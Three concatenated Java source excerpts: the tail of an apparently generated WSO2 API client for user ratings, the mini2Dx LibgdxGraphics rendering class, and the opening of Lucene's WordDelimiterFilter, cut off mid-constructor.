* @param apiId **API ID** consisting of the **UUID** of the API. (required)
* @param body Rating object that should to be added (required)
* @param xWSO2Tenant For cross-tenant invocations, this is used to specify the tenant domain, where the resource need to be retirieved from. (optional)
* @return ApiResponse<RatingDTO>
* @throws ApiException If fail to call the API, e.g. server error or cannot deserialize the response body
*/
public ApiResponse<RatingDTO> apisApiIdUserRatingPutWithHttpInfo(String apiId, RatingDTO body, String xWSO2Tenant) throws ApiException {
com.squareup.okhttp.Call call = apisApiIdUserRatingPutValidateBeforeCall(apiId, body, xWSO2Tenant, null, null);
Type localVarReturnType = new TypeToken<RatingDTO>(){}.getType();
return apiClient.execute(call, localVarReturnType);
}
/**
* Add or update logged in user's rating for an API (asynchronously)
* This operation can be used to add or update an API rating. `X-WSO2-Tenant` header can be used to add or update the logged in user rating of an API that belongs to a different tenant domain. If not specified super tenant will be used. If Authorization header is present in the request, the user's tenant associated with the access token will be used.
* @param apiId **API ID** consisting of the **UUID** of the API. (required)
* @param body Rating object that should to be added (required)
* @param xWSO2Tenant For cross-tenant invocations, this is used to specify the tenant domain, where the resource need to be retirieved from. (optional)
* @param callback The callback to be executed when the API call finishes
* @return The request call
* @throws ApiException If fail to process the API call, e.g. serializing the request body object
*/
public com.squareup.okhttp.Call apisApiIdUserRatingPutAsync(String apiId, RatingDTO body, String xWSO2Tenant, final ApiCallback<RatingDTO> callback) throws ApiException {
ProgressResponseBody.ProgressListener progressListener = null;
ProgressRequestBody.ProgressRequestListener progressRequestListener = null;
if (callback != null) {
progressListener = new ProgressResponseBody.ProgressListener() {
@Override
public void update(long bytesRead, long contentLength, boolean done) {
callback.onDownloadProgress(bytesRead, contentLength, done);
}
};
progressRequestListener = new ProgressRequestBody.ProgressRequestListener() {
@Override
public void onRequestProgress(long bytesWritten, long contentLength, boolean done) {
callback.onUploadProgress(bytesWritten, contentLength, done);
}
};
}
com.squareup.okhttp.Call call = apisApiIdUserRatingPutValidateBeforeCall(apiId, body, xWSO2Tenant, progressListener, progressRequestListener);
Type localVarReturnType = new TypeToken<RatingDTO>(){}.getType();
apiClient.executeAsync(call, localVarReturnType, callback);
return call;
}
}
| |
/*******************************************************************************
* Copyright 2019 See AUTHORS file
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
******************************************************************************/
package org.mini2Dx.libgdx;
import com.badlogic.gdx.Gdx;
import com.badlogic.gdx.graphics.GL20;
import com.badlogic.gdx.graphics.OrthographicCamera;
import com.badlogic.gdx.graphics.g2d.LibgdxSpriteBatchWrapper;
import com.badlogic.gdx.graphics.g2d.PolygonSpriteBatch;
import com.badlogic.gdx.graphics.g2d.SpriteBatch;
import com.badlogic.gdx.graphics.glutils.ShapeRenderer;
import com.badlogic.gdx.math.Vector3;
import com.badlogic.gdx.utils.Align;
import org.mini2Dx.core.Graphics;
import org.mini2Dx.core.Mdx;
import org.mini2Dx.core.font.GameFont;
import org.mini2Dx.core.font.GameFontCache;
import org.mini2Dx.core.geom.Rectangle;
import org.mini2Dx.core.geom.Shape;
import org.mini2Dx.core.graphics.*;
import org.mini2Dx.gdx.math.EarClippingTriangulator;
import org.mini2Dx.gdx.math.MathUtils;
import org.mini2Dx.gdx.math.Matrix4;
import org.mini2Dx.libgdx.game.GameWrapper;
import org.mini2Dx.libgdx.graphics.*;
public class LibgdxGraphics implements Graphics {
enum RenderState {
NOT_RENDERING,
SHAPES,
POLYGONS,
SPRITEBATCH
}
private static final String LOGGING_TAG = LibgdxGraphics.class.getSimpleName();
public final LibgdxSpriteBatchWrapper spriteBatch;
private final static Vector3 cameraRotationPoint = new Vector3(0, 0, 0), cameraRotationAxis = new Vector3(0, 0, 1);
private final GameWrapper gameWrapper;
private final ShapeTextureCache colorTextureCache;
private final ShapeRenderer shapeRenderer;
private final PolygonSpriteBatch polygonSpriteBatch;
private final EarClippingTriangulator triangulator = new EarClippingTriangulator();
private LibgdxColor color, defaultColor, backgroundColor;
private LibgdxColor tint, defaultTint;
private OrthographicCamera camera;
private GameFont font;
private LibgdxShader defaultShader, currentShader;
private float translationX, translationY;
private float scaleX, scaleY;
private float rotation, rotationX, rotationY;
private int windowWidth, windowHeight;
private int defaultBlendSrcFunc = GL20.GL_SRC_ALPHA, defaultBlendDstFunc = GL20.GL_ONE_MINUS_SRC_ALPHA;
private int lineHeight;
private RenderState rendering;
private boolean transformationsApplied;
private Rectangle clip;
private float [] triangleVertices = new float[6];
//3 edge polygon by default, expanded as needed during rendering
private float [] polygonRenderData = new float[15];
public LibgdxGraphics(GameWrapper gameWrapper, LibgdxSpriteBatchWrapper spriteBatch, PolygonSpriteBatch polygonSpriteBatch, ShapeRenderer shapeRenderer) {
this.gameWrapper = gameWrapper;
this.spriteBatch = spriteBatch;
this.shapeRenderer = shapeRenderer;
this.shapeRenderer.setAutoShapeType(true);
this.polygonSpriteBatch = polygonSpriteBatch;
this.windowWidth = Gdx.graphics.getWidth();
this.windowHeight = Gdx.graphics.getHeight();
defaultTint = new LibgdxReadOnlyColor(spriteBatch.getColor().cpy());
font = Mdx.fonts.defaultFont();
tint = defaultTint;
lineHeight = 1;
color = new LibgdxColor(1f, 1f, 1f, 1f);
defaultColor = new LibgdxReadOnlyColor(1f, 1f, 1f, 1f);
backgroundColor = new LibgdxColor(0f, 0f, 0f, 1f);
colorTextureCache = new ShapeTextureCache();
translationX = 0;
translationY = 0;
scaleX = 1f;
scaleY = 1f;
rotation = 0f;
rotationX = 0f;
rotationY = 0f;
/* Create Ortho camera so that 0,0 is in top-left */
camera = new OrthographicCamera();
}
@Override
public void preRender(int gameWidth, int gameHeight) {
this.windowWidth = gameWidth;
this.windowHeight = gameHeight;
tint = defaultTint;
color = defaultColor;
spriteBatch.setColor(tint.rf(), tint.gf(), tint.bf(), tint.af());
Gdx.gl.glClearColor(backgroundColor.rf(), backgroundColor.gf(), backgroundColor.bf(), 1f);
Gdx.gl.glClear(GL20.GL_COLOR_BUFFER_BIT | GL20.GL_STENCIL_BUFFER_BIT);
rendering = RenderState.NOT_RENDERING;
if (defaultShader == null) {
defaultShader = new LibgdxShader(SpriteBatch.createDefaultShader());
currentShader = defaultShader;
}
}
@Override
public void postRender() {
endRendering();
resetTransformations();
clearShader();
clearBlendFunction();
}
@Override
public void clearContext() {
clearContext(backgroundColor, true, true);
}
@Override
public void clearContext(Color color) {
clearContext(color, true, true);
}
@Override
public void clearContext(Color color, boolean depthBufferBit, boolean colorBufferBit) {
int mask;
if(depthBufferBit && colorBufferBit) {
mask = GL20.GL_COLOR_BUFFER_BIT | GL20.GL_DEPTH_BUFFER_BIT;
} else if(depthBufferBit) {
mask = GL20.GL_DEPTH_BUFFER_BIT;
} else if(colorBufferBit) {
mask = GL20.GL_COLOR_BUFFER_BIT;
} else {
mask = 0;
}
Gdx.gl.glClearColor(color.rf(), color.gf(), color.bf(), color.af());
Gdx.gl.glClear(mask);
}
private void setupDepthBuffer() {
if (clip != null) {
Gdx.gl.glDepthFunc(GL20.GL_LESS);
Gdx.gl.glEnable(GL20.GL_DEPTH_TEST);
Gdx.gl.glDepthMask(true);
Gdx.gl.glColorMask(false, false, false, false);
shapeRenderer.begin(ShapeRenderer.ShapeType.Filled);
shapeRenderer.setColor(0f, 1f, 0f, 0.5f);
shapeRenderer.rect(clip.getX(), clip.getY(), clip.getWidth(), clip.getHeight());
shapeRenderer.end();
Gdx.gl.glColorMask(true, true, true, true);
Gdx.gl.glEnable(GL20.GL_DEPTH_TEST);
Gdx.gl.glDepthFunc(GL20.GL_EQUAL);
}
}
private void beginRendering(RenderState newState) {
if (newState == rendering){
return;
}
switch (rendering){
case NOT_RENDERING:
applyTransformations();
Gdx.gl.glClearDepthf(1f);
Gdx.gl.glClear(GL20.GL_DEPTH_BUFFER_BIT);
setupDepthBuffer();
break;
case SHAPES:
shapeRenderer.end();
break;
case POLYGONS:
polygonSpriteBatch.end();
break;
case SPRITEBATCH:
spriteBatch.end();
break;
}
switch (newState){
case SHAPES:
shapeRenderer.begin();
break;
case POLYGONS:
polygonSpriteBatch.begin();
break;
case SPRITEBATCH:
spriteBatch.begin();
break;
}
rendering = newState;
}
/**
* Ends rendering
*/
private void endRendering() {
switch (rendering){
case NOT_RENDERING:
return;
case SHAPES:
shapeRenderer.end();
break;
case POLYGONS:
polygonSpriteBatch.end();
break;
case SPRITEBATCH:
spriteBatch.end();
break;
}
undoTransformations();
if (clip != null) {
Gdx.gl.glClearDepthf(1f);
Gdx.gl.glClear(GL20.GL_DEPTH_BUFFER_BIT);
Gdx.gl.glDisable(GL20.GL_DEPTH_TEST);
}
rendering = RenderState.NOT_RENDERING;
}
/**
* Applies all translation, scaling and rotation to the {@link SpriteBatch}
*/
private void applyTransformations() {
if (!transformationsApplied) {
transformationsApplied = true;
float viewportWidth = MathUtils.round(windowWidth / scaleX);
float viewportHeight = MathUtils.round(windowHeight / scaleY);
camera.setToOrtho(true, viewportWidth, viewportHeight);
if (translationX != 0f || translationY != 0f) {
camera.translate(translationX, translationY);
}
camera.update();
if (rotation != 0f) {
cameraRotationPoint.x = rotationX;
cameraRotationPoint.y = rotationY;
camera.rotateAround(cameraRotationPoint, cameraRotationAxis, -rotation);
}
camera.update();
spriteBatch.setProjectionMatrix(camera.combined);
shapeRenderer.setProjectionMatrix(camera.combined);
polygonSpriteBatch.setProjectionMatrix(camera.combined);
}
}
/**
* Cleans up all translations, scaling and rotation
*/
private void undoTransformations() {
if (transformationsApplied) {
transformationsApplied = false;
if (rotation != 0f) {
camera.rotateAround(cameraRotationPoint, cameraRotationAxis, rotation);
}
camera.update();
if (translationX != 0f || translationY != 0f) {
camera.translate(-translationX, -translationY);
}
camera.update();
}
}
/**
* Resets transformation values
*/
private void resetTransformations() {
this.translationX = 0;
this.translationY = 0;
this.scaleX = 1f;
this.scaleY = 1f;
this.rotation = 0f;
this.rotationX = 0f;
this.rotationY = 0f;
}
@Override
public void drawLineSegment(float x1, float y1, float x2, float y2) {
beginShapeRendering(ShapeRenderer.ShapeType.Filled);
shapeRenderer.rectLine(x1, y1, x2, y2, lineHeight);
}
@Override
public void drawRect(float x, float y, float width, float height) {
int roundWidth = MathUtils.round(width);
int roundHeight = MathUtils.round(height);
beginShapeRendering(ShapeRenderer.ShapeType.Filled);
shapeRenderer.rectLine(x, y, x + roundWidth, y, lineHeight);
shapeRenderer.rectLine(x, y, x , y + roundHeight, lineHeight);
shapeRenderer.rectLine(x + roundWidth, y, x + roundWidth, y + roundHeight, lineHeight);
shapeRenderer.rectLine(x, y + roundHeight, x + roundWidth, y + roundHeight, lineHeight);
}
private void beginShapeRendering(ShapeRenderer.ShapeType shapeType) {
beginRendering(RenderState.SHAPES);
shapeRenderer.set(shapeType);
shapeRenderer.setColor(color.rf(), color.gf(), color.bf(), color.af());
}
@Override
public void fillRect(float x, float y, float width, float height) {
beginRendering(RenderState.SPRITEBATCH);
spriteBatch.draw(colorTextureCache.getFilledRectangleTexture(color), x, y, 0, 0, width, height, 1f, 1f, 0, 0, 0,
1, 1, false, false);
}
@Override
public void drawCircle(float centerX, float centerY, int radius) {
beginShapeRendering(ShapeRenderer.ShapeType.Line);
shapeRenderer.circle(centerX, centerY, radius);
}
@Override
public void drawCircle(float centerX, float centerY, float radius) {
drawCircle(centerX, centerY, MathUtils.round(radius));
}
@Override
public void fillCircle(float centerX, float centerY, int radius) {
beginShapeRendering(ShapeRenderer.ShapeType.Filled);
shapeRenderer.circle(centerX, centerY, radius);
}
@Override
public void fillCircle(float centerX, float centerY, float radius) {
fillCircle(centerX, centerY, MathUtils.round(radius));
}
@Override
public void drawTriangle(float x1, float y1, float x2, float y2, float x3, float y3) {
triangleVertices[0] = x1;
triangleVertices[1] = y1;
triangleVertices[2] = x2;
triangleVertices[3] = y2;
triangleVertices[4] = x3;
triangleVertices[5] = y3;
drawPolygon(triangleVertices);
}
@Override
public void fillTriangle(float x1, float y1, float x2, float y2, float x3, float y3) {
triangleVertices[0] = x1;
triangleVertices[1] = y1;
triangleVertices[2] = x2;
triangleVertices[3] = y2;
triangleVertices[4] = x3;
triangleVertices[5] = y3;
fillPolygon(triangleVertices, triangulator.computeTriangles(triangleVertices).items);
}
@Override
public void drawPolygon(float[] vertices) {
beginShapeRendering(ShapeRenderer.ShapeType.Line);
shapeRenderer.polygon(vertices);
}
@Override
public void fillPolygon(float[] vertices, short[] triangles) {
beginRendering(RenderState.POLYGONS);
if(vertices.length * 5 > polygonRenderData.length) {
polygonRenderData = new float[vertices.length * 5];
}
int totalPoints = vertices.length / 2;
for(int i = 0; i < totalPoints; i++) {
int verticesIndex = i * 2;
int renderIndex = i * 5;
polygonRenderData[renderIndex] = vertices[verticesIndex];
polygonRenderData[renderIndex + 1] = vertices[verticesIndex + 1];
polygonRenderData[renderIndex + 2] = color.color.toFloatBits();
polygonRenderData[renderIndex + 3] = vertices[verticesIndex];
polygonRenderData[renderIndex + 4] = vertices[verticesIndex + 1];
}
polygonSpriteBatch.draw(colorTextureCache.getFilledRectangleTexture(color), polygonRenderData, 0, vertices.length * 5, triangles, 0, triangles.length);
}
@Override
public void drawString(String text, float x, float y) {
if (font == null) {
return;
}
beginRendering(RenderState.SPRITEBATCH);
font.setColor(color);
font.draw(this, text, x, y);
}
@Override
public void drawString(String text, float x, float y, float targetWidth) {
drawString(text, x, y, targetWidth, Align.left);
}
@Override
public void drawString(String text, float x, float y, float targetWidth, int horizontalAlign) {
if (font == null) {
return;
}
beginRendering(RenderState.SPRITEBATCH);
font.setColor(color);
font.draw(this, text, x, y, targetWidth, horizontalAlign, true);
}
@Override
public void drawTexture(Texture texture, float x, float y) {
drawTexture(texture, x, y, texture.getWidth(), texture.getHeight());
}
@Override
public void drawTexture(Texture texture, float x, float y, boolean flipY) {
drawTexture(texture, x, y, texture.getWidth(), texture.getHeight(), flipY);
}
@Override
public void drawTexture(Texture texture, float x, float y, float width, float height) {
drawTexture(texture, x, y, width, height, true);
}
@Override
public void drawTexture(Texture texture, float x, float y, float width, float height, boolean flipY) {
beginRendering(RenderState.SPRITEBATCH);
final LibgdxTexture gdxTexture = (LibgdxTexture) texture;
spriteBatch.draw(gdxTexture, x, y, 0, 0, width, height, 1f, 1f, 0, 0, 0, texture.getWidth(), texture.getHeight(),
false, flipY);
}
@Override
public void drawTextureRegion(TextureRegion textureRegion, float x, float y) {
drawTextureRegion(textureRegion, x, y, textureRegion.getRegionWidth(), textureRegion.getRegionHeight());
}
@Override
public void drawTextureRegion(TextureRegion textureRegion, float x, float y, float width, float height) {
drawTextureRegion(textureRegion, x, y, width, height, 0f);
}
@Override
public void drawTextureRegion(TextureRegion textureRegion, float x, float y, float width, float height,
float rotation) {
beginRendering(RenderState.SPRITEBATCH);
final GdxTextureRegion gdxTextureRegion = (GdxTextureRegion) textureRegion;
spriteBatch.draw(gdxTextureRegion.asGdxTextureRegion(), x, y, 0f, 0f, width, height, 1f, 1f, rotation);
}
@Override
public void drawShape(Shape shape) {
shape.draw(this);
}
@Override
public void fillShape(Shape shape) {
shape.fill(this);
}
@Override
public void drawSprite(Sprite sprite) {
final LibgdxSprite gdxSprite = (LibgdxSprite) sprite;
beginRendering(RenderState.SPRITEBATCH);
gdxSprite.sprite.draw(spriteBatch);
}
@Override
public void drawSprite(Sprite sprite, float x, float y) {
final LibgdxSprite gdxSprite = (LibgdxSprite) sprite;
beginRendering(RenderState.SPRITEBATCH);
float oldX = sprite.getX();
float oldY = sprite.getY();
Color oldTint = sprite.getTint();
if (tint != null) {
sprite.setTint(tint);
}
sprite.setPosition(x, y);
gdxSprite.sprite.draw(spriteBatch);
sprite.setPosition(oldX, oldY);
sprite.setTint(oldTint);
}
@Override
public void drawSpriteCache(SpriteCache spriteCache, int cacheId) {
spriteCache.draw(this, cacheId);
}
@Override
public void drawParticleEffect(ParticleEffect effect) {
}
@Override
public void drawNinePatch(NinePatch ninePatch, float x, float y, float width, float height) {
beginRendering(RenderState.SPRITEBATCH);
ninePatch.render(this, x, y, width, height);
}
@Override
public void drawTilingDrawable(TilingDrawable tilingDrawable, float x, float y, float width, float height) {
tilingDrawable.draw(this, x, y, width, height);
}
@Override
public void drawFontCache(GameFontCache fontCache) {
beginRendering(RenderState.SPRITEBATCH);
fontCache.draw(this);
}
@Override
public void setClip(float x, float y, float width, float height) {
endRendering();
if(MathUtils.isEqual(0f, x) && MathUtils.isEqual(0f, y) &&
MathUtils.isEqual(getViewportWidth(), width) &&
MathUtils.isEqual(getViewportHeight(), height)) {
clip = null;
} else if(clip == null) {
clip = new Rectangle(x, y, width, height);
} else {
clip.set(x, y, width, height);
}
}
@Override
public void setClip(Rectangle clip) {
setClip(clip.getX(), clip.getY(), clip.getWidth(), clip.getHeight());
}
@Override
public Rectangle removeClip() {
if (clip == null) {
return null;
}
endRendering();
Rectangle result = clip;
clip = null;
return result;
}
@Override
public Rectangle peekClip() {
Rectangle result = new Rectangle();
peekClip(result);
return result;
}
@Override
public void peekClip(Rectangle rectangle) {
if(clip == null) {
rectangle.set(0f, 0f, getViewportWidth(), getViewportHeight());
} else {
rectangle.set(clip);
}
}
@Override
public void setTint(Color tint) {
this.tint = (LibgdxColor) tint;
spriteBatch.setColor(tint.rf(), tint.gf(), tint.bf(), tint.af());
}
@Override
public void removeTint() {
setTint(defaultTint);
}
@Override
public void enableBlending() {
spriteBatch.enableBlending();
}
@Override
public void disableBlending() {
spriteBatch.disableBlending();
}
@Override
public void setShader(Shader shader) {
this.currentShader = (LibgdxShader) shader;
spriteBatch.setShader(currentShader.shaderProgram);
}
@Override
public Shader getShader() {
return currentShader;
}
@Override
public void clearShader() {
currentShader = defaultShader;
setShader(currentShader);
}
@Override
public void setBlendFunction(Mini2DxBlendFunction srcFunc, Mini2DxBlendFunction dstFunc) {
final int srcF, dstF;
srcF = convertBlendFunction(srcFunc);
dstF = convertBlendFunction(dstFunc);
spriteBatch.setBlendFunction(srcF, dstF);
}
private int convertBlendFunction(Mini2DxBlendFunction func) {
switch(func) {
default:
case ZERO:
return GL20.GL_ZERO;
case ONE:
return GL20.GL_ONE;
case SRC_COLOR:
return GL20.GL_SRC_COLOR;
case ONE_MINUS_SRC_COLOR:
return GL20.GL_ONE_MINUS_SRC_COLOR;
case DST_COLOR:
return GL20.GL_DST_COLOR;
case ONE_MINUS_DST_COLOR:
return GL20.GL_ONE_MINUS_DST_COLOR;
case SRC_ALPHA:
return GL20.GL_SRC_ALPHA;
case ONE_MINUS_SRC_ALPHA:
return GL20.GL_ONE_MINUS_SRC_ALPHA;
case DST_ALPHA:
return GL20.GL_DST_ALPHA;
case ONE_MINUS_DST_ALPHA:
return GL20.GL_ONE_MINUS_DST_ALPHA;
case SRC_ALPHA_SATURATE:
return GL20.GL_SRC_ALPHA_SATURATE;
}
}
@Override
public void clearBlendFunction() {
spriteBatch.setBlendFunction(defaultBlendSrcFunc, defaultBlendDstFunc);
}
@Override
public void flush() {
spriteBatch.flush();
}
@Override
public void setFont(GameFont font) {
if (font == null) {
return;
}
this.font = font;
}
@Override
public void setLineHeight(int lineHeight) {
if (lineHeight > 0) {
this.lineHeight = lineHeight;
}
}
@Override
public void setColor(Color color) {
if (color == null) {
return;
}
this.color = (LibgdxColor) color;
}
@Override
public void setBackgroundColor(Color backgroundColor) {
if (backgroundColor != null) {
this.backgroundColor = (LibgdxColor) backgroundColor;
}
}
@Override
public void scale(float scaleX, float scaleY) {
if (MathUtils.isEqual(1f, scaleX) && MathUtils.isEqual(1f, scaleY)) {
return;
}
endRendering();
this.scaleX *= scaleX;
this.scaleY *= scaleY;
}
@Override
public void setScale(float scaleX, float scaleY) {
if (MathUtils.isEqual(this.scaleX, scaleX) && MathUtils.isEqual(this.scaleY, scaleY)) {
return;
}
endRendering();
this.scaleX = scaleX;
this.scaleY = scaleY;
}
@Override
public void clearScaling() {
if (MathUtils.isEqual(this.scaleX, 1f) && MathUtils.isEqual(this.scaleY, 1f)) {
return;
}
endRendering();
scaleX = 1f;
scaleY = 1f;
}
@Override
public void translate(float translateX, float translateY) {
if (MathUtils.isZero(translateX) && MathUtils.isZero(translateY)) {
return;
}
endRendering();
this.translationX += translateX;
this.translationY += translateY;
}
@Override
public void setTranslation(float translateX, float translateY) {
if (MathUtils.isEqual(this.translationX, translateX) && MathUtils.isEqual(this.translationY, translateY)) {
return;
}
endRendering();
this.translationX = translateX;
this.translationY = translateY;
}
@Override
public void rotate(float degrees, float x, float y) {
if (MathUtils.isZero(degrees) &&
MathUtils.isEqual(x, rotationX) &&
MathUtils.isEqual(y, rotationY)) {
return;
}
endRendering();
this.rotation += degrees;
this.rotation = this.rotation % 360f;
this.rotationX = x;
this.rotationY = y;
}
@Override
public void setRotation(float degrees, float x, float y) {
if(MathUtils.isEqual(this.rotation, degrees) &&
MathUtils.isEqual(this.rotationX, x) &&
MathUtils.isEqual(this.rotationY, y)) {
return;
}
endRendering();
this.rotation = degrees;
this.rotation = this.rotation % 360f;
this.rotationX = x;
this.rotationY = y;
}
@Override
public Matrix4 getProjectionMatrix() {
return new Matrix4(camera.combined.val);
}
@Override
public boolean isWindowReady() {
return gameWrapper.isGameWindowReady();
}
@Override
public int getWindowWidth() {
return windowWidth;
}
@Override
public int getWindowHeight() {
return windowHeight;
}
@Override
public float getViewportWidth() {
return camera.viewportWidth;
}
@Override
public float getViewportHeight() {
return camera.viewportHeight;
}
@Override
public int getWindowSafeX() {
return 0;
}
@Override
public int getWindowSafeY() {
return 0;
}
@Override
public int getWindowSafeWidth() {
return windowWidth;
}
@Override
public int getWindowSafeHeight() {
return windowHeight;
}
@Override
public long getFrameId() {
return Gdx.graphics.getFrameId();
}
@Override
public TextureFilter getMinFilter() {
return spriteBatch.getMinFilter();
}
@Override
public void setMinFilter(TextureFilter filter) {
spriteBatch.setMinFilter(filter);
}
@Override
public TextureFilter getMagFilter() {
return spriteBatch.getMagFilter();
}
@Override
public void setMagFilter(TextureFilter filter) {
spriteBatch.setMagFilter(filter);
}
@Override
public float getRotation() {
return rotation;
}
@Override
public float getRotationX() {
return rotationX;
}
@Override
public float getRotationY() {
return rotationY;
}
@Override
public float getTranslationX() {
return translationX;
}
@Override
public float getTranslationY() {
return translationY;
}
@Override
public float getScaleX() {
return scaleX;
}
@Override
public float getScaleY() {
return scaleY;
}
@Override
public Color getTint() {
return tint;
}
@Override
public Color getBackgroundColor() {
return backgroundColor;
}
@Override
public Color getColor() {
return color;
}
@Override
public int getLineHeight() {
return lineHeight;
}
@Override
public GameFont getFont() {
return font;
}
}
| |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.lucene.analysis.miscellaneous;
import org.apache.lucene.analysis.TokenFilter;
import org.apache.lucene.analysis.TokenStream;
import org.apache.lucene.analysis.core.WhitespaceTokenizer;
import org.apache.lucene.analysis.standard.StandardTokenizer;
import org.apache.lucene.analysis.tokenattributes.OffsetAttribute;
import org.apache.lucene.analysis.tokenattributes.PositionIncrementAttribute;
import org.apache.lucene.analysis.tokenattributes.CharTermAttribute;
import org.apache.lucene.analysis.tokenattributes.TypeAttribute;
import org.apache.lucene.analysis.util.CharArraySet;
import org.apache.lucene.util.ArrayUtil;
import org.apache.lucene.util.AttributeSource;
import org.apache.lucene.util.InPlaceMergeSorter;
import org.apache.lucene.util.RamUsageEstimator;
import org.apache.lucene.util.Version;
import java.io.IOException;
import java.util.Arrays;
/**
* Splits words into subwords and performs optional transformations on subword
* groups. Words are split into subwords with the following rules:
* <ul>
* <li>split on intra-word delimiters (by default, all non alpha-numeric
* characters): <code>"Wi-Fi"</code> → <code>"Wi", "Fi"</code></li>
* <li>split on case transitions: <code>"PowerShot"</code> →
* <code>"Power", "Shot"</code></li>
* <li>split on letter-number transitions: <code>"SD500"</code> →
* <code>"SD", "500"</code></li>
* <li>leading and trailing intra-word delimiters on each subword are ignored:
* <code>"//hello---there, 'dude'"</code> →
* <code>"hello", "there", "dude"</code></li>
* <li>trailing "'s" are removed for each subword: <code>"O'Neil's"</code>
* → <code>"O", "Neil"</code>
* <ul>
* <li>Note: this step isn't performed in a separate filter because of possible
* subword combinations.</li>
* </ul>
* </li>
* </ul>
*
* The <b>combinations</b> parameter affects how subwords are combined:
* <ul>
* <li>combinations="0" causes no subword combinations: <code>"PowerShot"</code>
* → <code>0:"Power", 1:"Shot"</code> (0 and 1 are the token positions)</li>
* <li>combinations="1" means that in addition to the subwords, maximum runs of
* non-numeric subwords are catenated and produced at the same position of the
* last subword in the run:
* <ul>
* <li><code>"PowerShot"</code> →
* <code>0:"Power", 1:"Shot" 1:"PowerShot"</code></li>
* <li><code>"A's+B's&C's"</code> -gt; <code>0:"A", 1:"B", 2:"C", 2:"ABC"</code>
* </li>
* <li><code>"Super-Duper-XL500-42-AutoCoder!"</code> →
* <code>0:"Super", 1:"Duper", 2:"XL", 2:"SuperDuperXL", 3:"500" 4:"42", 5:"Auto", 6:"Coder", 6:"AutoCoder"</code>
* </li>
* </ul>
* </li>
* </ul>
* One use for {@link WordDelimiterFilter} is to help match words with different
* subword delimiters. For example, if the source text contained "wi-fi" one may
* want "wifi" "WiFi" "wi-fi" "wi+fi" queries to all match. One way of doing so
* is to specify combinations="1" in the analyzer used for indexing, and
* combinations="0" (the default) in the analyzer used for querying. Given that
* the current {@link StandardTokenizer} immediately removes many intra-word
* delimiters, it is recommended that this filter be used after a tokenizer that
* does not do this (such as {@link WhitespaceTokenizer}).
*/
public final class WordDelimiterFilter extends TokenFilter {
public static final int LOWER = 0x01;
public static final int UPPER = 0x02;
public static final int DIGIT = 0x04;
public static final int SUBWORD_DELIM = 0x08;
// combinations: for testing, not for setting bits
public static final int ALPHA = 0x03;
public static final int ALPHANUM = 0x07;
/**
* Causes parts of words to be generated:
* <p/>
* "PowerShot" => "Power" "Shot"
*/
public static final int GENERATE_WORD_PARTS = 1;
/**
* Causes number subwords to be generated:
* <p/>
* "500-42" => "500" "42"
*/
public static final int GENERATE_NUMBER_PARTS = 2;
/**
* Causes maximum runs of word parts to be catenated:
* <p/>
* "wi-fi" => "wifi"
*/
public static final int CATENATE_WORDS = 4;
/**
* Causes maximum runs of word parts to be catenated:
* <p/>
* "wi-fi" => "wifi"
*/
public static final int CATENATE_NUMBERS = 8;
/**
* Causes all subword parts to be catenated:
* <p/>
* "wi-fi-4000" => "wifi4000"
*/
public static final int CATENATE_ALL = 16;
/**
* Causes original words are preserved and added to the subword list (Defaults to false)
* <p/>
* "500-42" => "500" "42" "500-42"
*/
public static final int PRESERVE_ORIGINAL = 32;
/**
* If not set, causes case changes to be ignored (subwords will only be generated
* given SUBWORD_DELIM tokens)
*/
public static final int SPLIT_ON_CASE_CHANGE = 64;
/**
* If not set, causes numeric changes to be ignored (subwords will only be generated
* given SUBWORD_DELIM tokens).
*/
public static final int SPLIT_ON_NUMERICS = 128;
/**
* Causes trailing "'s" to be removed for each subword
* <p/>
* "O'Neil's" => "O", "Neil"
*/
public static final int STEM_ENGLISH_POSSESSIVE = 256;
/**
* If not null is the set of tokens to protect from being delimited
*
*/
final CharArraySet protWords;
private final int flags;
private final CharTermAttribute termAttribute = addAttribute(CharTermAttribute.class);
private final OffsetAttribute offsetAttribute = addAttribute(OffsetAttribute.class);
private final PositionIncrementAttribute posIncAttribute = addAttribute(PositionIncrementAttribute.class);
private final TypeAttribute typeAttribute = addAttribute(TypeAttribute.class);
// used for iterating word delimiter breaks
private final WordDelimiterIterator iterator;
// used for concatenating runs of similar typed subwords (word,number)
private final WordDelimiterConcatenation concat = new WordDelimiterConcatenation();
// number of subwords last output by concat.
private int lastConcatCount = 0;
// used for catenate all
private final WordDelimiterConcatenation concatAll = new WordDelimiterConcatenation();
// used for accumulating position increment gaps
private int accumPosInc = 0;
private char savedBuffer[] = new char[1024];
private int savedStartOffset;
private int savedEndOffset;
private String savedType;
private boolean hasSavedState = false;
// if length by start + end offsets doesn't match the term text then assume
// this is a synonym and don't adjust the offsets.
private boolean hasIllegalOffsets = false;
// for a run of the same subword type within a word, have we output anything?
private boolean hasOutputToken = false;
// when preserve original is on, have we output any token following it?
// this token must have posInc=0!
private boolean hasOutputFollowingOriginal = false;
/**
* Creates a new WordDelimiterFilter
*
* @param in TokenStream to be filtered
* @param charTypeTable table containing character types
* @param configurationFlags Flags configuring the filter
* @param protWords If not null is the set of tokens to protect from being delimited
*/
public WordDelimiterFilter(TokenStream in, byte[] charTypeTable, int configurationFlags, CharArraySet protWords) {
this(Version.LATEST, in, charTypeTable, configurationFlags, protWords);
}
/**
* @deprecated Use {@link #WordDelimiterFilter(TokenStream, byte[], int, CharArraySet)}
*/
@Deprecated
public WordDelimiterFilter(Version matchVersion, TokenStream in, byte[] charTypeTable, int configurationFlags, CharArraySet protWords) {
super(in);
if (!matchVersion.onOrAfter(Version.LUCENE_4_8)) {
throw new IllegalArgumentException("This class only works with Lucene 4.8+. To emulate the old (broken) behavior of WordDelimiterFilter, use Lucene47WordDelimiterFilter");
}
this.flags = configurationFlags;
this.protWords = protWords;
